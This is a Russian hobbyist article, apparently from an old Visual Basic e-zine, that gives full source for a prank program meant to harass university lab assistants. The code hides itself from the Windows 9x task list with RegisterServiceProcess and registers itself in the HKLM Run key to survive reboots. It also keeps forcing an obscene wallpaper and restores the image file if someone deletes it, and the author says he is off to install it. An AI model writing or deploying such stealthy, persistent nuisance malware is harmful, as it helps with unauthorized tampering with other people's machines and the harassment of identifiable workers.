Лаборантки must die!!!

Не знаю, как Вас, а меня
лаборантки в моём институте достали. Без тапочек
в компьютерный класс не входи, в интернет не
лазай, с соседом через winpopup не разговаривай, в чат
не ходи, на диски других компов не заходи,
дискетами не пользуйся…просто тихий ужас. А
тупые какие они!…жуть. Однажды я ногой задел шнур
питания компьютера, ну комп и отрубился…ой что
тут началось… “Да ты компьютер сломал, новый
покупать будешь!” – орали они. Начали дёргать за
все шнуры на системнике, вот только в розетку не
догадались включить. Ну, поорали и пошли за
начальством говорить, что я компьютер сломал, а
пока они ходили, я быстренько включил комп в
розетку. Приходят они, с самой главной
лаборанткой, аж из коридора слышно как вопят,
заходят – “Вот это он компьютер сломал”, а комп
работает. “Вы что попутали?”, - говорю я, -
“ничего я не ломал, всё работает”. В общем, тупые
они. А однажды мой друг “захватил” окно
проводника, сохранил его как картинку и поставил
его в обои на рабочий стол, так эти бедные
лаборантки минут десять пытались закрыть
нарисованное окно!

Как-то достали они
меня в очередной раз, пришёл я домой ужасно злой.
“Ну, хватит детских приколов”,- подумал я, -
“пора их проучить по-настоящему!”. Чуть
поразмыслил, и пришла мне в голову вот, какая
идея. А напишу-ка я программу на родном VB, которая
бы всё время ставила одни и те же обои на рабочий
стол, да еще сделаю так чтобы картинку для обоев
удалить нельзя было, потом, что бы прогу не было
“видно” в окне “завершение работы программы ”,
которое появляется при нажатии Ctrl+Alt+Del, что бы
прога автоматически запускалась при старте Windows,
чтобы прога всё время прописывала обои в реестр и
так как она всегда работает, то её нельзя будет
удалить. Сказано - сделано. Открываю любимый VB,
выбираю стандартный exe проект, добавляю модуль. В
форму ставлю пикчер бокс, в него загоняю заранее
подготовленную развратную картинку с надписью
“Лаборантки must die!!!” - это будет картинка для
наших обоев, которые будут появляться на компах у
лаборанток. Захожу в модуль. Перво-наперво нужно
сделать, чтобы прогу не было “видно” в списке
задач. Можно было, конечно, написать в Sub Main
строчку App.TaskVisible = False, и всё, но я воспользовался
Api функциями. Для этого в разделе модуля Declarations
поставил следующее объявления

'Объявления для того чтобы
прогу не было "видно"

Declare Function RegisterServiceProcess Lib
"kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long

Чтобы прогу не было
“видно” нужно в главной процедуре поставить
следующую строчку.

'Теперь прогу не будет видно
при нажатии Ctrl+Alt+Del

Call RegisterServiceProcess(GetCurrentProcessId, 1)

Идём дальше. Теперь
нужно поставить обои на рабочий стол.

Добавляю следующие
строки в раздел объявлений модуля

' Объявления для того чтобы
поставить картинку на рабочий стол

Declare Function SystemParametersInfo Lib
"user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal
uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Const SPI_SETDESKWALLPAPER = 20

Добавляем процедуру,
которая непосредственно ставит определённую
картинку на рабочий стол.

'Процедура, ставящая картинку
на рабочий стол

Public Sub SetWallpaper(File As String)
SystemParametersInfo SPI_SETDESKWALLPAPER, 0, ByVal File, True
End Sub

Теперь чтобы изменить
обои потребуется написать

SetWallpaper "обои.bmp"

Теперь более детально
обдумываю алгоритм программы. Весь код проги
будет находиться в sub main. Сначала прога должна
“спрятать” себя. Это я уже знаю как сделать.
Потом она должна проверить не поменял ли кто
обои, эту инфу нужно считать из реестра, если обои
уже другие, то снова нужно поставить свои. Прога
должна запускаться каждый раз при старте винды, а
то лаборантка перезагрузит комп и прога из
памяти удалится. Для этого нужно внести
некоторые изменения в реестр. Если изменения
удалили, то их прописываем снова. После этого
проверяем не удали ли bmp файл для обоев, если
удалили, то сохраняем его снова используя SavePicture,
после всего этого делаем небольшую задержку,
например, на секунд 15, чтобы лаборантка успела
поменять обои и с ужасом увидела через 15 сек всё
ту же картинку. Итак, весь алгоритм теперь ясен,
продолжаю писать код. Чтобы вносить изменения в
реестр делаю следующие объявления в модуле.

'Объявления для работы с
реестром

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_DYN_DATA = &H80000006
Public Const REG_NONE = 0
Public Const REG_SZ = 1
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3
Public Const REG_DWORD = 4
Public Const REG_DWORD_LITTLE_ENDIAN = 4
Public Const REG_DWORD_BIG_ENDIAN = 5
Public Const REG_LINK = 6
Public Const REG_MULTI_SZ = 7
Public Const REG_RESOURCE_LIST = 8
Public Const REG_FULL_RESOURCE_DESCRIPTOR = 9
Public Const REG_RESOURCE_REQUIREMENTS_LIST = 10
Public Const REG_CREATED_NEW_KEY = &H1
Public Const REG_OPENED_EXISTING_KEY = &H2
Public Const REG_WHOLE_HIVE_VOLATILE = &H1
Public Const REG_REFRESH_HIVE = &H2
Public Const REG_NOTIFY_CHANGE_NAME = &H1
Public Const REG_NOTIFY_CHANGE_ATTRIBUTES = &H2
Public Const REG_NOTIFY_CHANGE_LAST_SET = &H4
Public Const REG_NOTIFY_CHANGE_SECURITY = &H8
Public Const REG_LEGAL_CHANGE_FILTER = (REG_NOTIFY_CHANGE_NAME Or
REG_NOTIFY_CHANGE_ATTRIBUTES Or REG_NOTIFY_CHANGE_LAST_SET Or REG_NOTIFY_CHANGE_SECURITY)
Public Const REG_OPTION_RESERVED = 0
Public Const REG_OPTION_NON_VOLATILE = 0
Public Const REG_OPTION_VOLATILE = 1
Public Const REG_OPTION_CREATE_LINK = 2
Public Const REG_OPTION_BACKUP_RESTORE = 4
Public Const READ_CONTROL = &H20000
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const SYNCHRONIZE = &H100000
Public Const KEY_CREATE_LINK = &H20
Public Const STANDARD_RIGHTS_ALL = &H1F0000
Public Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or
KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not
SYNCHRONIZE))
Public Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Public Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Public Const ERROR_SUCCESS = 0&
Public Const STANDARD_RIGHTS_EXECUTE = (READ_CONTROL)
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const KEY_EVENT = &H1
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal
Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal
lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Добавляю пару
процедур так же необходимых для работы с
реестром.

' Процедура для записи инфы в
реестр

Public Sub savestring(hKey As Long, strPath As
String, strValue As String, strdata As String)
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, keyhand)
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
r = RegCloseKey(keyhand)
End Sub

' Процедура для чтения инфы из
реестра

Public Function getstring(hKey As Long, strPath As
String, strValue As String)
Dim keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
r = RegOpenKey(hKey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&,
lDataBufSize)
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
getstring = Left$(strBuf, intZeroPos - 1)
Else
getstring = strBuf
End If
End If
End If
End Function

Вписываю объявления
для определения в каком каталоге установлена
Винда.

'Объявления чтобы
определить каталог, в который установлена Винда

Public Declare Function
GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal
lpBuffer As String, ByVal nSize As Long) As Long

Теперь определимся
куда именно в реестре и какую инфу нужно
прописывать чтобы прога автоматически
запускалась при старте Windows. Чтобы это было
возможно в ключ HKEY_LOCAL_MACHINE,
  Software\Microsoft\Windows\CurrentVersion\Run

Записываю
произвольный строковый параметр, например,
“Лаборантки must die” и содержание “путь к проге”.
Если эту инфу удалили, то прописываю её еще раз. А
чтобы узнать не поменяли ли обои считываю инфу в
следующем ключе.

HKEY_USERS, ".Default\Control
Panel\Desktop", "Wallpaper"

Если обои поменяли, то
ставлю их снова. Для задержки использую вот такую
процедуру.

' Процедура для
задержки программы

Public Sub Sleep(NumberOfSecond As
Double)
Dim FinishTime As Date
FinishTime = DateAdd("s", NumberOfSecond, Now)
Do Until FinishTime < Now
DoEvents
Text1 = Time
Loop
End Sub

Собираю всю инфу
вместе и получаю главную процедуру.

' Основная процедура проги.

Sub Main()
Dim strString As String
Dim Success&, WinDir$
WinDir = Space(144)
Success = GetWindowsDirectory(WinDir, 144)
WinDir = Trim(WinDir)
WinDir = Left(WinDir, Len(WinDir) - 1) & "\"

'Теперь прогу не будет
видно при нажатии Ctrl+Alt+Del

Call RegisterServiceProcess(GetCurrentProcessId, 1)
Do

'Если вдруг запись в
реестре кто-л. удалил, то прописываем её еще разок.

strString = getstring(HKEY_USERS,
".Default\Control Panel\Desktop", "Wallpaper")
If strString <> WinDir & "beer.bmp" Then 'Путь
к обоям
SetWallpaper WinDir & "beer.bmp"
End If

'Если вдруг запись в реестре
кто-л. удалил, то прописываем её
еще разок.

strString = getstring(HKEY_LOCAL_MACHINE,
"Software\Microsoft\Windows\CurrentVersion\Run", "Лаборанки must
die")
If strString <> App.Path Then 'Путь к проге,
чтобы она загружалась каждый раз при загрузке
Винды
Call savestring(HKEY_LOCAL_MACHINE,
"Software\Microsoft\Windows\CurrentVersion\Run", "Лаборанки must
die", App.Path)
End If

'Если удалили
картинку, то сохраняем её еще раз.

x$ = Dir$(WinDir & "beer.bmp")
If x$ = "" Then
SavePicture Form1.Picture1.Picture, WinDir & "beer.bmp"
End If

'Делаем задержку

Sleep 15
Loop
End Sub

Если не очень понятно, то
скачайте весь проект, тогда станет всё намного
яснее. Проект содержит пояснения.

Теперь несколько советов по
улучшению проги. Можете сделать так чтобы прога
запускалась в определённое время, можно сделать
так чтобы Вы сами указывали в командной строке
через сколько минут запускаться проге, для этого
удобно использовать функцию Command(), чтобы
проверить как она работает добавьте на форму
кнопку и в процедуре её нажатия напишите Print
Command(), затем сделаёте exe файл, запустите его с
любым параметром в командной строке, нажмите на
кнопку формы и прога тут же напечатает этот
параметр. И еще в первом номере журнала – VB Мания
www.vbmania.h1.ru есть статья “Избавляемся от msvbvm60.dll и
уменьшаем размер программы”, во втором номере
есть дополнение к этой статье, советую Вам
изучить информацию в этих статьях, тогда Вы
сможете к своей проге прилепить msvbvm60.dll (они будут
в одном exe файле), и Вам не придётся тащить два
файла, чтобы поприкалываться над лаборантками.
Исходники программы можно найти на сайте
электронного журнала о VB – VB Мания www.vbmania.h1.ru. Там же Вы
сможете узнать какие еще гадости можно делать
используя VB. Ах, да, чуть не забыл, если будете
проверять эту прогу на своём компе, то чтобы
избавиться от неё просто перезагрузите комп в
режиме эмуляции MS-Dos, а потом удалите саму прогу
(exe файл).

Ладно, всё, пошел на дело.

Диканский Андрей.